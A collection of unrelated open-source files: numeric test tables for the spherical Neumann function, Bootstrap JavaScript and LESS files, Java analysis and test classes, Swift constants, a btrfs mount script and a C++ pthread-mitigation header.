{ -9.7821420203182274, 5, 2.2500000000000000, 0.0 },
{ -5.5991001548063233, 5, 2.5000000000000000, 0.0 },
{ -3.4400655233636823, 5, 2.7500000000000000, 0.0 },
{ -2.2470233284653904, 5, 3.0000000000000000, 0.0 },
{ -1.5491439945779160, 5, 3.2500000000000000, 0.0 },
{ -1.1205896325654248, 5, 3.5000000000000000, 0.0 },
{ -0.84592255605194844, 5, 3.7500000000000000, 0.0 },
{ -0.66280126645045878, 5, 4.0000000000000000, 0.0 },
{ -0.53589374436038528, 5, 4.2500000000000000, 0.0 },
{ -0.44430324229090551, 5, 4.5000000000000000, 0.0 },
{ -0.37520157232899892, 5, 4.7500000000000000, 0.0 },
{ -0.32046504674973919, 5, 5.0000000000000000, 0.0 },
};
const double toler004 = 2.5000000000000020e-13;
// Test data for n=10.
// max(|f - f_GSL|): 0.50000000000000000 at index 0
// max(|f - f_GSL| / |f_GSL|): 1.5255233644081723e-15
// mean(f - f_GSL): -0.025048278210168286
// variance(f - f_GSL): 3.4761477272673221e-05
// stddev(f - f_GSL): 0.0058958864704701719
const testcase_sph_neumann<double>
data005[20] =
{
{ -2750653598174213.5, 10, 0.25000000000000000, 0.0 },
{ -1349739281107.0554, 10, 0.50000000000000000, 0.0 },
{ -15733380424.953760, 10, 0.75000000000000000, 0.0 },
{ -672215008.25620842, 10, 1.0000000000000000, 0.0 },
{ -58607405.988679446, 10, 1.2500000000000000, 0.0 },
{ -8032728.8148234813, 10, 1.5000000000000000, 0.0 },
{ -1505955.5720640516, 10, 1.7500000000000000, 0.0 },
{ -355414.72008543846, 10, 2.0000000000000000, 0.0 },
{ -100086.80374425423, 10, 2.2500000000000000, 0.0 },
{ -32423.794085334419, 10, 2.5000000000000000, 0.0 },
{ -11772.863161809979, 10, 2.7500000000000000, 0.0 },
{ -4699.8591888113924, 10, 3.0000000000000000, 0.0 },
{ -2033.0183273853759, 10, 3.2500000000000000, 0.0 },
{ -942.19075028425493, 10, 3.5000000000000000, 0.0 },
{ -463.65206971202474, 10, 3.7500000000000000, 0.0 },
{ -240.53552987988931, 10, 4.0000000000000000, 0.0 },
{ -130.78478404631085, 10, 4.2500000000000000, 0.0 },
{ -74.170665501737531, 10, 4.5000000000000000, 0.0 },
{ -43.698249898184983, 10, 4.7500000000000000, 0.0 },
{ -26.656114405718711, 10, 5.0000000000000000, 0.0 },
};
const double toler005 = 2.5000000000000020e-13;
// Test data for n=20.
// max(|f - f_GSL|): 2.9514790517935283e+20 at index 0
// max(|f - f_GSL| / |f_GSL|): 2.1705352739643247e-15
// mean(f - f_GSL): -1.4757416361014618e+19
// variance(f - f_GSL): inf
// stddev(f - f_GSL): inf
const testcase_sph_neumann<double>
data006[20] =
{
{ -1.4077591402542251e+36, 20, 0.25000000000000000, 0.0 },
{ -6.7288761838234712e+29, 20, 0.50000000000000000, 0.0 },
{ -1.3544611382105945e+26, 20, 0.75000000000000000, 0.0 },
{ -3.2395922185789833e+23, 20, 1.0000000000000000, 0.0 },
{ -3.0096416715953060e+21, 20, 1.2500000000000000, 0.0 },
{ -6.5999646851668173e+19, 20, 1.5000000000000000, 0.0 },
{ -2.6193364753070735e+18, 20, 1.7500000000000000, 0.0 },
{ -1.6054364928152224e+17, 20, 2.0000000000000000, 0.0 },
{ -13719071872797762., 20, 2.2500000000000000, 0.0 },
{ -1524247248298953.8, 20, 2.5000000000000000, 0.0 },
{ -209484650509384.06, 20, 2.7500000000000000, 0.0 },
{ -34327545666696.488, 20, 3.0000000000000000, 0.0 },
{ -6522260876203.3174, 20, 3.2500000000000000, 0.0 },
{ -1406018871897.2307, 20, 3.5000000000000000, 0.0 },
{ -338025193731.78882, 20, 3.7500000000000000, 0.0 },
{ -89381690326.018677, 20, 4.0000000000000000, 0.0 },
{ -25701805899.474934, 20, 4.2500000000000000, 0.0 },
{ -7961859734.2407761, 20, 4.5000000000000000, 0.0 },
{ -2636237230.0850010, 20, 4.7500000000000000, 0.0 },
{ -926795140.30575466, 20, 5.0000000000000000, 0.0 },
};
const double toler006 = 2.5000000000000020e-13;
// Test data for n=50.
// max(|f - f_GSL|): 2.0859248397665138e+93 at index 0
// max(|f - f_GSL| / |f_GSL|): 4.2498516526709979e-14
// mean(f - f_GSL): 1.0429624198832546e+92
// variance(f - f_GSL): inf
// stddev(f - f_GSL): inf
const testcase_sph_neumann<double>
data007[20] =
{
{ -1.3823742808004061e+109, 50, 0.25000000000000000, 0.0 },
{ -6.1447912922121694e+93, 50, 0.50000000000000000, 0.0 },
{ -6.4348494908900529e+84, 50, 0.75000000000000000, 0.0 },
{ -2.7391922846297569e+78, 50, 1.0000000000000000, 0.0 },
{ -3.1365037573299931e+73, 50, 1.2500000000000000, 0.0 },
{ -2.8821098528635756e+69, 50, 1.5000000000000000, 0.0 },
{ -1.1148255024189452e+66, 50, 1.7500000000000000, 0.0 },
{ -1.2350219443670970e+63, 50, 2.0000000000000000, 0.0 },
{ -3.0565226939717125e+60, 50, 2.2500000000000000, 0.0 },
{ -1.4262702131152733e+58, 50, 2.5000000000000000, 0.0 },
{ -1.1118745474840939e+56, 50, 2.7500000000000000, 0.0 },
{ -1.3243260716629503e+54, 50, 3.0000000000000000, 0.0 },
{ -2.2519472094129329e+52, 50, 3.2500000000000000, 0.0 },
{ -5.1861507201103288e+50, 50, 3.5000000000000000, 0.0 },
{ -1.5513212909462263e+49, 50, 3.7500000000000000, 0.0 },
{ -5.8276471407900649e+47, 50, 4.0000000000000000, 0.0 },
{ -2.6745414086543416e+46, 50, 4.2500000000000000, 0.0 },
{ -1.4657308996352946e+45, 50, 4.5000000000000000, 0.0 },
{ -9.4102674366690647e+43, 50, 4.7500000000000000, 0.0 },
{ -6.9641091882701322e+42, 50, 5.0000000000000000, 0.0 },
};
const double toler007 = 2.5000000000000015e-12;
// Test data for n=100.
// max(|f - f_GSL|): 2.4840289476811343e+232 at index 0
// max(|f - f_GSL| / |f_GSL|): 2.1411436945786310e-13
// mean(f - f_GSL): 1.2420144738405672e+231
// variance(f - f_GSL): inf
// stddev(f - f_GSL): inf
const testcase_sph_neumann<double>
data008[20] =
{
{ -4.2856109460516407e+247, 100, 0.25000000000000000, 0.0 },
{ -1.6911720011753781e+217, 100, 0.50000000000000000, 0.0 },
{ -2.7753107402139484e+199, 100, 0.75000000000000000, 0.0 },
{ -6.6830794632586774e+186, 100, 1.0000000000000000, 0.0 },
{ -1.0906342369729277e+177, 100, 1.2500000000000000, 0.0 },
{ -1.0993184254131119e+169, 100, 1.5000000000000000, 0.0 },
{ -1.9071480498141315e+162, 100, 1.7500000000000000, 0.0 },
{ -2.6559558301924957e+156, 100, 2.0000000000000000, 0.0 },
{ -1.8154136926485787e+151, 100, 2.2500000000000000, 0.0 },
{ -4.3527631662111383e+146, 100, 2.5000000000000000, 0.0 },
{ -2.8809537014100589e+142, 100, 2.7500000000000000, 0.0 },
{ -4.4102229953025611e+138, 100, 3.0000000000000000, 0.0 },
{ -1.3651904154044740e+135, 100, 3.2500000000000000, 0.0 },
{ -7.6980749101063267e+131, 100, 3.5000000000000000, 0.0 },
{ -7.2790553499246662e+128, 100, 3.7500000000000000, 0.0 },
{ -1.0796647795891517e+126, 100, 4.0000000000000000, 0.0 },
{ -2.3785795774441247e+123, 100, 4.2500000000000000, 0.0 },
{ -7.4391596631947432e+120, 100, 4.5000000000000000, 0.0 },
{ -3.1802258278275794e+118, 100, 4.7500000000000000, 0.0 },
{ -1.7997139826255660e+116, 100, 5.0000000000000000, 0.0 },
};
const double toler008 = 2.5000000000000014e-11;
// sph_neumann
// Test data for n=0.
// max(|f - f_GSL|): 1.0165479569224090e-15 at index 12
// max(|f - f_GSL| / |f_GSL|): 5.9073915926662418e-13
// mean(f - f_GSL): 5.6194198599923690e-17
// variance(f - f_GSL): 3.3904740513577990e-33
// stddev(f - f_GSL): 5.8227777317684031e-17
const testcase_sph_neumann<double>
data009[20] =
{
{ -0.056732437092645263, 0, 5.0000000000000000, 0.0 },
{ 0.083907152907645249, 0, 10.000000000000000, 0.0 },
{ 0.050645860857254747, 0, 15.000000000000000, 0.0 },
{ -0.020404103090669597, 0, 20.000000000000000, 0.0 },
{ -0.039648112474538942, 0, 25.000000000000000, 0.0 },
{ -0.0051417149962528020, 0, 30.000000000000000, 0.0 },
{ 0.025819777288328762, 0, 35.000000000000000, 0.0 },
{ 0.016673451541306544, 0, 40.000000000000000, 0.0 },
{ -0.011673821973727327, 0, 45.000000000000000, 0.0 },
{ -0.019299320569842265, 0, 50.000000000000000, 0.0 },
{ -0.00040230465930828606, 0, 55.000000000000000, 0.0 },
{ 0.015873549673585938, 0, 60.000000000000000, 0.0 },
{ 0.0086531361728949541, 0, 65.000000000000000, 0.0 },
{ -0.0090474171869471404, 0, 70.000000000000000, 0.0 },
{ -0.012290016929663325, 0, 75.000000000000000, 0.0 },
{ 0.0013798405479880944, 0, 80.000000000000000, 0.0 },
{ 0.011580901686988727, 0, 85.000000000000000, 0.0 },
{ 0.0049785957347685574, 0, 90.000000000000000, 0.0 },
{ -0.0076860374841559963, 0, 95.000000000000000, 0.0 },
{ -0.0086231887228768404, 0, 100.00000000000000, 0.0 },
};
const double toler009 = 5.0000000000000028e-11;
// Test data for n=1.
// max(|f - f_GSL|): 1.0486403412279799e-15 at index 14
// max(|f - f_GSL| / |f_GSL|): 3.5182047773188613e-13
// mean(f - f_GSL): 3.4759521649885275e-17
// variance(f - f_GSL): 1.2285787353099413e-32
// stddev(f - f_GSL): 1.1084127098287629e-16
const testcase_sph_neumann<double>
data010[20] =
{
{ 0.18043836751409864, 1, 5.0000000000000000, 0.0 },
{ 0.062792826379701502, 1, 10.000000000000000, 0.0 },
{ -0.039976131953324147, 1, 15.000000000000000, 0.0 },
{ -0.046667467690914864, 1, 20.000000000000000, 0.0 },
{ 0.0037081455049293634, 1, 25.000000000000000, 0.0 },
{ 0.032762996969886965, 1, 30.000000000000000, 0.0 },
{ 0.012971498479556563, 1, 35.000000000000000, 0.0 },
{ -0.018210992723451058, 1, 40.000000000000000, 0.0 },
{ -0.019168385477952129, 1, 45.000000000000000, 0.0 },
{ 0.0048615106626817301, 1, 50.000000000000000, 0.0 },
{ 0.018170052158169303, 1, 55.000000000000000, 0.0 },
{ 0.0053447361795967109, 1, 60.000000000000000, 0.0 },
{ -0.012587316051033977, 1, 65.000000000000000, 0.0 },
{ -0.011184829982069090, 1, 70.000000000000000, 0.0 },
{ 0.0050065549130635621, 1, 75.000000000000000, 0.0 },
{ 0.012440856180892041, 1, 80.000000000000000, 0.0 },
{ 0.0022077237839479508, 1, 85.000000000000000, 0.0 },
{ -0.0098779785318421041, 1, 90.000000000000000, 0.0 },
{ -0.0072731342338976518, 1, 95.000000000000000, 0.0 },
{ 0.0049774245238688201, 1, 100.00000000000000, 0.0 },
};
const double toler010 = 2.5000000000000014e-11;
// Test data for n=2.
// max(|f - f_GSL|): 9.6971042307103517e-16 at index 12
// max(|f - f_GSL| / |f_GSL|): 8.9366019038491149e-13
// mean(f - f_GSL): -5.2854855908668341e-17
// variance(f - f_GSL): 2.8843051158545336e-33
// stddev(f - f_GSL): 5.3705727030313382e-17
const testcase_sph_neumann<double>
data011[20] =
{
{ 0.16499545760110443, 2, 5.0000000000000000, 0.0 },
{ -0.065069304993734783, 2, 10.000000000000000, 0.0 },
{ -0.058641087247919575, 2, 15.000000000000000, 0.0 },
{ 0.013403982937032370, 2, 20.000000000000000, 0.0 },
{ 0.040093089935130458, 2, 25.000000000000000, 0.0 },
{ 0.0084180146932414986, 2, 30.000000000000000, 0.0 },
{ -0.024707934561509628, 2, 35.000000000000000, 0.0 },
{ -0.018039275995565374, 2, 40.000000000000000, 0.0 },
{ 0.010395929608530518, 2, 45.000000000000000, 0.0 },
{ 0.019591011209603170, 2, 50.000000000000000, 0.0 },
{ 0.0013933984133902479, 2, 55.000000000000000, 0.0 },
{ -0.015606312864606101, 2, 60.000000000000000, 0.0 },
{ -0.0092340892214042153, 2, 65.000000000000000, 0.0 },
{ 0.0085680673305727519, 2, 70.000000000000000, 0.0 },
{ 0.012490279126185866, 2, 75.000000000000000, 0.0 },
{ -0.00091330844120464274, 2, 80.000000000000000, 0.0 },
{ -0.011502982024025860, 2, 85.000000000000000, 0.0 },
{ -0.0053078616858299611, 2, 90.000000000000000, 0.0 },
{ 0.0074563595609802797, 2, 95.000000000000000, 0.0 },
{ 0.0087725114585929052, 2, 100.00000000000000, 0.0 },
};
const double toler011 = 5.0000000000000028e-11;
// Test data for n=5.
// max(|f - f_GSL|): 1.1301723445988898e-15 at index 14
// max(|f - f_GSL| / |f_GSL|): 6.1915466104958656e-13
// mean(f - f_GSL): 2.4660178413182797e-17
// variance(f - f_GSL): 1.4883294310366547e-32
// stddev(f - f_GSL): 1.2199710779508892e-16
const testcase_sph_neumann<double>
data012[20] =
{
{ -0.32046504674973919, 5, 5.0000000000000000, 0.0 },
{ 0.093833541678691818, 5, 10.000000000000000, 0.0 },
{ 0.020475698281859061, 5, 15.000000000000000, 0.0 },
{ -0.048172347757372780, 5, 20.000000000000000, 0.0 },
{ -0.018309489232548347, 5, 25.000000000000000, 0.0 },
{ 0.026639390496569996, 5, 30.000000000000000, 0.0 },
{ 0.022006038985576210, 5, 35.000000000000000, 0.0 },
{ -0.011268975348057965, 5, 40.000000000000000, 0.0 },
{ -0.021770388372274858, 5, 45.000000000000000, 0.0 },
{ -0.00069711319645853701, 5, 50.000000000000000, 0.0 },
{ 0.017439589450220901, 5, 55.000000000000000, 0.0 },
{ 0.0088699170919343089, 5, 60.000000000000000, 0.0 },
{ -0.010421334444951861, 5, 65.000000000000000, 0.0 },
{ -0.012746769858008553, 5, 70.000000000000000, 0.0 },
{ 0.0026282888028967737, 5, 75.000000000000000, 0.0 },
{ 0.012477658581324189, 5, 80.000000000000000, 0.0 },
{ 0.0040771816818182642, 5, 85.000000000000000, 0.0 },
{ -0.0089777759570579818, 5, 90.000000000000000, 0.0 },
{ -0.0083184557896676149, 5, 95.000000000000000, 0.0 },
{ 0.0037206784862748965, 5, 100.00000000000000, 0.0 },
};
const double toler012 = 5.0000000000000028e-11;
// Test data for n=10.
// max(|f - f_GSL|): 1.0658141036401503e-14 at index 0
// max(|f - f_GSL| / |f_GSL|): 7.3655649039219020e-13
// mean(f - f_GSL): -6.1456915945168329e-16
// variance(f - f_GSL): 2.1880640749018393e-32
// stddev(f - f_GSL): 1.4792106256046972e-16
const testcase_sph_neumann<double>
data013[20] =
{
{ -26.656114405718711, 10, 5.0000000000000000, 0.0 },
{ -0.17245367208805784, 10, 10.000000000000000, 0.0 },
{ 0.078461689849642580, 10, 15.000000000000000, 0.0 },
{ -0.036843410496289961, 10, 20.000000000000000, 0.0 },
{ -0.021158339301097475, 10, 25.000000000000000, 0.0 },
{ 0.031219591064754939, 10, 30.000000000000000, 0.0 },
{ 0.012840593422414807, 10, 35.000000000000000, 0.0 },
{ -0.021803068636888072, 10, 40.000000000000000, 0.0 },
{ -0.014071636804469044, 10, 45.000000000000000, 0.0 },
{ 0.013524687511158758, 10, 50.000000000000000, 0.0 },
{ 0.015684932653180595, 10, 55.000000000000000, 0.0 },
{ -0.0056356895567262122, 10, 60.000000000000000, 0.0 },
{ -0.015364490270315362, 10, 65.000000000000000, 0.0 },
{ -0.0014525575672261295, 10, 70.000000000000000, 0.0 },
{ 0.012648951699549433, 10, 75.000000000000000, 0.0 },
{ 0.0068571608061120367, 10, 80.000000000000000, 0.0 },
{ -0.0080151152941401460, 10, 85.000000000000000, 0.0 },
{ -0.0098139742219019149, 10, 90.000000000000000, 0.0 },
{ 0.0025002854072314951, 10, 95.000000000000000, 0.0 },
{ 0.010025777373636155, 10, 100.00000000000000, 0.0 },
};
const double toler013 = 5.0000000000000028e-11;
// Test data for n=20.
// max(|f - f_GSL|): 8.3446502685546875e-07 at index 0
// max(|f - f_GSL| / |f_GSL|): 1.0502991318257211e-11
// mean(f - f_GSL): -4.1723296986858874e-08
// variance(f - f_GSL): 9.6445067152075506e-17
// stddev(f - f_GSL): 9.8206449458309775e-09
const testcase_sph_neumann<double>
data014[20] =
{
{ -926795140.30575466, 20, 5.0000000000000000, 0.0 },
{ -1211.2106053526036, 20, 10.000000000000000, 0.0 },
{ -1.5559965765652175, 20, 15.000000000000000, 0.0 },
{ -0.093401132250914398, 20, 20.000000000000000, 0.0 },
{ 0.044031985675276462, 20, 25.000000000000000, 0.0 },
{ -0.036078033606613907, 20, 30.000000000000000, 0.0 },
{ 0.029828405631319645, 20, 35.000000000000000, 0.0 },
{ -0.0048414810986760759, 20, 40.000000000000000, 0.0 },
{ -0.020504694681516944, 20, 45.000000000000000, 0.0 },
{ 0.013759531302541216, 20, 50.000000000000000, 0.0 },
{ 0.012783038861734196, 20, 55.000000000000000, 0.0 },
{ -0.013117009421906418, 20, 60.000000000000000, 0.0 },
{ -0.010338106075674407, 20, 65.000000000000000, 0.0 },
{ 0.010538610814111244, 20, 70.000000000000000, 0.0 },
{ 0.010200029094273744, 20, 75.000000000000000, 0.0 },
{ -0.0073123450945617122, 20, 80.000000000000000, 0.0 },
{ -0.010581510354950906, 20, 85.000000000000000, 0.0 },
{ 0.0036866374015298723, 20, 90.000000000000000, 0.0 },
{ 0.010498384318338270, 20, 95.000000000000000, 0.0 },
{ 5.6317293788334978e-05, 20, 100.00000000000000, 0.0 },
};
const double toler014 = 1.0000000000000007e-09;
// Test data for n=50.
// max(|f - f_GSL|): 2.1663950687494155e+29 at index 0
// max(|f - f_GSL| / |f_GSL|): 4.4985159073786982e-13
// mean(f - f_GSL): -1.0831975343747075e+28
// variance(f - f_GSL): inf
// stddev(f - f_GSL): inf
const testcase_sph_neumann<double>
data015[20] =
{
{ -6.9641091882701322e+42, 50, 5.0000000000000000, 0.0 },
{ -4.5282272723513309e+27, 50, 10.000000000000000, 0.0 },
{ -9.0004902645887672e+18, 50, 15.000000000000000, 0.0 },
{ -9542541667002.5762, 50, 20.000000000000000, 0.0 },
{ -363518140.71027178, 50, 25.000000000000000, 0.0 },
{ -152551.57233157742, 50, 30.000000000000000, 0.0 },
{ -386.26599186208688, 50, 35.000000000000000, 0.0 },
{ -4.3290507947291097, 50, 40.000000000000000, 0.0 },
{ -0.19968460851503717, 50, 45.000000000000000, 0.0 },
{ -0.041900001504607758, 50, 50.000000000000000, 0.0 },
{ 0.010696040672421926, 50, 55.000000000000000, 0.0 },
{ 0.0078198768555268281, 50, 60.000000000000000, 0.0 },
{ -0.010088474938191183, 50, 65.000000000000000, 0.0 },
{ 0.0062423671279823656, 50, 70.000000000000000, 0.0 },
{ 0.0011284242794942282, 50, 75.000000000000000, 0.0 },
{ -0.0093934266037486308, 50, 80.000000000000000, 0.0 },
{ 0.013108079602843421, 50, 85.000000000000000, 0.0 },
{ -0.0075396607225721932, 50, 90.000000000000000, 0.0 },
{ -0.0042605703552837304, 50, 95.000000000000000, 0.0 },
{ 0.010747822973682467, 50, 100.00000000000000, 0.0 },
};
const double toler015 = 2.5000000000000014e-11;
// Test data for n=100.
// max(|f - f_GSL|): 3.7725700501057390e+103 at index 0
// max(|f - f_GSL| / |f_GSL|): 2.0962053340286959e-13
// mean(f - f_GSL): -1.8862850250528694e+102
// variance(f - f_GSL): inf
// stddev(f - f_GSL): inf
const testcase_sph_neumann<double>
data016[20] =
{
{ -1.7997139826255660e+116, 100, 5.0000000000000000, 0.0 },
{ -8.5732263093288939e+85, 100, 10.000000000000000, 0.0 },
{ -1.9270658593710037e+68, 100, 15.000000000000000, 0.0 },
{ -7.2208893582950327e+55, 100, 20.000000000000000, 0.0 },
{ -2.0868752613007361e+46, 100, 25.000000000000000, 0.0 },
{ -4.2496124023610848e+38, 100, 30.000000000000000, 0.0 },
{ -1.7042898348910030e+32, 100, 35.000000000000000, 0.0 },
{ -6.3021565260722767e+26, 100, 40.000000000000000, 0.0 },
{ -1.3199917400493998e+22, 100, 45.000000000000000, 0.0 },
{ -1.1256928913265911e+18, 100, 50.000000000000000, 0.0 },
{ -309801083340345.56, 100, 55.000000000000000, 0.0 },
{ -232585620046.64404, 100, 60.000000000000000, 0.0 },
{ -421135935.93755186, 100, 65.000000000000000, 0.0 },
{ -1680637.4531202628, 100, 70.000000000000000, 0.0 },
{ -13868.302591128748, 100, 75.000000000000000, 0.0 },
{ -227.24385709173205, 100, 80.000000000000000, 0.0 },
{ -7.2807038787138563, 100, 85.000000000000000, 0.0 },
{ -0.46648154448250850, 100, 90.000000000000000, 0.0 },
{ -0.067270772720654515, 100, 95.000000000000000, 0.0 },
{ -0.022983850491562270, 100, 100.00000000000000, 0.0 },
};
const double toler016 = 2.5000000000000014e-11;
template<typename Ret, unsigned int Num>
void
test(const testcase_sph_neumann<Ret> (&data)[Num], Ret toler)
{
bool test __attribute__((unused)) = true;
const Ret eps = std::numeric_limits<Ret>::epsilon();
Ret max_abs_diff = -Ret(1);
Ret max_abs_frac = -Ret(1);
unsigned int num_datum = Num;
for (unsigned int i = 0; i < num_datum; ++i)
{
const Ret f = std::sph_neumann(data[i].n, data[i].x);
const Ret f0 = data[i].f0;
const Ret diff = f - f0;
if (std::abs(diff) > max_abs_diff)
max_abs_diff = std::abs(diff);
if (std::abs(f0) > Ret(10) * eps
&& std::abs(f) > Ret(10) * eps)
{
const Ret frac = diff / f0;
if (std::abs(frac) > max_abs_frac)
max_abs_frac = std::abs(frac);
}
}
VERIFY(max_abs_frac < toler);
}
int
main()
{
test(data001, toler001);
test(data002, toler002);
test(data003, toler003);
test(data004, toler004);
test(data005, toler005);
test(data006, toler006);
test(data007, toler007);
test(data008, toler008);
test(data009, toler009);
test(data010, toler010);
test(data011, toler011);
test(data012, toler012);
test(data013, toler013);
test(data014, toler014);
test(data015, toler015);
test(data016, toler016);
return 0;
}
| {
"pile_set_name": "Github"
} |
// This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.
require('../../js/transition.js')
require('../../js/alert.js')
require('../../js/button.js')
require('../../js/carousel.js')
require('../../js/collapse.js')
require('../../js/dropdown.js')
require('../../js/modal.js')
require('../../js/tooltip.js')
require('../../js/popover.js')
require('../../js/scrollspy.js')
require('../../js/tab.js')
require('../../js/affix.js') | {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2002 - 2014 IBM Corporation.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*
* Contributors:
* IBM Corporation - initial API and implementation
*/
package com.ibm.wala.cfg.exc.inter;
import com.ibm.wala.cfg.exc.ExceptionPruningAnalysis;
import com.ibm.wala.cfg.exc.InterprocAnalysisResult;
import com.ibm.wala.ipa.callgraph.CGNode;
import com.ibm.wala.ssa.SSAInstruction;
import com.ibm.wala.ssa.analysis.IExplodedBasicBlock;
import java.util.Map;
import java.util.Map.Entry;
/**
* A wrapper for the interprocedural analysis result.
*
* @author Juergen Graf <[email protected]>
*/
class InterprocAnalysisResultWrapper
implements InterprocAnalysisResult<SSAInstruction, IExplodedBasicBlock> {
private final Map<CGNode, IntraprocAnalysisState> map;
InterprocAnalysisResultWrapper(final Map<CGNode, IntraprocAnalysisState> map) {
if (map == null) {
throw new IllegalArgumentException();
}
this.map = map;
}
@Override
public ExceptionPruningAnalysis<SSAInstruction, IExplodedBasicBlock> getResult(final CGNode n) {
if (!containsResult(n)) {
return null;
}
return map.get(n);
}
@Override
public boolean containsResult(final CGNode n) {
return map.containsKey(n) && map.get(n).canBeAnalyzed();
}
@Override
public String toString() {
final StringBuilder sb = new StringBuilder();
for (final Entry<CGNode, IntraprocAnalysisState> e : map.entrySet()) {
sb.append(e.getValue().hasExceptions() ? "THROWS " : "CLEAN ");
sb.append(e.getKey().toString()).append('\n');
}
return sb.toString();
}
}
| {
"pile_set_name": "Github"
} |
/* SpagoBI, the Open Source Business Intelligence suite
* Copyright (C) 2012 Engineering Ingegneria Informatica S.p.A. - SpagoBI Competency Center
* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0, without the "Incompatible With Secondary Licenses" notice.
* If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. */
package it.eng.qbe.graph;
import it.eng.qbe.runtime.model.structure.IModelEntity;
import it.eng.qbe.runtime.statement.graph.PathInspector;
import it.eng.qbe.runtime.statement.graph.QueryGraphBuilder;
import it.eng.qbe.runtime.statement.graph.bean.Relationship;
import java.util.ArrayList;
import java.util.List;
import org.jgrapht.GraphPath;
import org.jgrapht.graph.GraphPathImpl;
public class PathInspectorTestCase extends AbstractGraphTestCase {
public void testBuildGraph() {
Relationship r3 = new Relationship();
r3.setSourceFields(entities.get(0).getAllFields());
r3.setTargetFields(entities.get(2).getAllFields());
List<Relationship> edges = new ArrayList<Relationship>();
edges.add(r3);
List<GraphPath<IModelEntity, Relationship>> paths = new ArrayList<GraphPath<IModelEntity, Relationship>>();
GraphPath<IModelEntity, Relationship> path = new GraphPathImpl<IModelEntity, Relationship>(graph, entities.get(0), entities.get(2), edges, 9.0);
paths.add(path);
QueryGraphBuilder qgb = new QueryGraphBuilder();
// UndirectedGraph<IModelEntity, Relationship> graph = qgb.buildGraph(paths);
}
public void testPathInspectorEBuildGraph() {
PathInspector pathInspector = new PathInspector(graph, entities);
QueryGraphBuilder qgb = new QueryGraphBuilder();
// Graph<IModelEntity, Relationship> graph = qgb.buildGraph(pathInspector.getAllGraphPaths());
}
}
| {
"pile_set_name": "Github"
} |
//
// Tables
// --------------------------------------------------
table {
max-width: 100%;
background-color: @table-bg;
}
th {
text-align: left;
}
// Baseline styles
.table {
width: 100%;
margin-bottom: @line-height-computed;
// Cells
thead,
tbody,
tfoot {
> tr {
> th,
> td {
padding: @table-cell-padding;
line-height: @line-height-base;
vertical-align: top;
border-top: 1px solid @table-border-color;
}
}
}
// Bottom align for column headings
thead > tr > th {
vertical-align: bottom;
border-bottom: 2px solid @table-border-color;
}
// Remove top border from thead by default
caption + thead,
colgroup + thead,
thead:first-child {
tr:first-child {
th, td {
border-top: 0;
}
}
}
// Account for multiple tbody instances
tbody + tbody {
border-top: 2px solid @table-border-color;
}
// Nesting
.table {
background-color: @body-bg;
}
}
// Condensed table w/ half padding
.table-condensed {
thead,
tbody,
tfoot {
> tr {
> th,
> td {
padding: @table-condensed-cell-padding;
}
}
}
}
// Bordered version
//
// Add borders all around the table and between all the columns.
.table-bordered {
border: 1px solid @table-border-color;
> thead,
> tbody,
> tfoot {
> tr {
> th,
> td {
border: 1px solid @table-border-color;
}
}
}
> thead {
> tr {
> th,
> td {
border-bottom-width: 2px;
}
}
}
}
// Zebra-striping
//
// Default zebra-stripe styles (alternating gray and transparent backgrounds)
.table-striped {
> tbody {
> tr:nth-child(odd) {
> td,
> th {
background-color: @table-bg-accent;
}
}
}
}
// Hover effect
//
// Placed here since it has to come after the potential zebra striping
.table-hover {
> tbody {
> tr:hover {
> td,
> th {
background-color: @table-bg-hover;
}
}
}
}
// Table cell sizing
//
// Reset default table behavior
table col[class*="col-"] {
float: none;
display: table-column;
}
table {
td,
th {
&[class*="col-"] {
float: none;
display: table-cell;
}
}
}
// Table backgrounds
//
// Exact selectors below required to override `.table-striped` and prevent
// inheritance to nested tables.
.table > thead > tr,
.table > tbody > tr,
.table > tfoot > tr {
> td.active,
> th.active,
&.active > td,
&.active > th {
background-color: @table-bg-active;
}
}
// Generate the contextual variants
.table-row-variant(success; @state-success-bg; @state-success-border);
.table-row-variant(danger; @state-danger-bg; @state-danger-border);
.table-row-variant(warning; @state-warning-bg; @state-warning-border);
// Responsive tables
//
// Wrap your tables in `.table-scrollable` and we'll make them mobile friendly
// by enabling horizontal scrolling. Only applies <768px. Everything above that
// will display normally.
@media (max-width: @screen-sm) {
.table-responsive {
width: 100%;
margin-bottom: 15px;
overflow-y: hidden;
overflow-x: scroll;
border: 1px solid @table-border-color;
// Tighten up spacing and give a background color
> .table {
margin-bottom: 0;
background-color: #fff;
// Ensure the content doesn't wrap
> thead,
> tbody,
> tfoot {
> tr {
> th,
> td {
white-space: nowrap;
}
}
}
}
// Special overrides for the bordered tables
> .table-bordered {
border: 0;
// Nuke the appropriate borders so that the parent can handle them
> thead,
> tbody,
> tfoot {
> tr {
> th:first-child,
> td:first-child {
border-left: 0;
}
> th:last-child,
> td:last-child {
border-right: 0;
}
}
> tr:last-child {
> th,
> td {
border-bottom: 0;
}
}
}
}
}
}
| {
"pile_set_name": "Github"
} |
var CGFLOAT_IS_DOUBLE: Int32 { get }
var CGFLOAT_MIN: Double { get }
var CGFLOAT_MAX: Double { get }
var CGFLOAT_DEFINED: Int32 { get }
| {
"pile_set_name": "Github"
} |
#!/bin/bash
UUID=$(blkid | grep btrfs | sed -e 's/.*UUID="\([^"]*\)".*/\1/')
cat << EOF >> /etc/fstab
UUID=${UUID} /srv btrfs defaults 1 1
EOF
mount /srv
btrfs subvolume create /srv/@www
cat << EOF >> /etc/fstab
UUID=${UUID} /www btrfs noatime,nodiratime,subvol=@www 0 2
EOF
cp /etc/skel/.bash* /srv/@www
mkdir /www
mount /www | {
"pile_set_name": "Github"
} |
// The Construct
//
// Copyright (C) The Construct Developers, Authors & Contributors
// Copyright (C) 2016-2020 Jason Volk <[email protected]>
//
// Permission to use, copy, modify, and/or distribute this software for any
// purpose with or without fee is hereby granted, provided that the above
// copyright notice and this permission notice is present in all copies. The
// full license for this software is available in the LICENSE file.
///////////////////////////////////////////////////////////////////////////////
//
// This unit exists to mitigate unwanted use of pthreads by third-party
// libraries. It is NOT intended to supplant real threads with ircd::ctx at
// this time, as we still want real parallel execution ability available to
// the project and to other users of the address space.
//
#include <pthread.h>
#include <ircd/ctx/posix.h>
//#define IRCD_PTHREAD_DEADLK_CHK
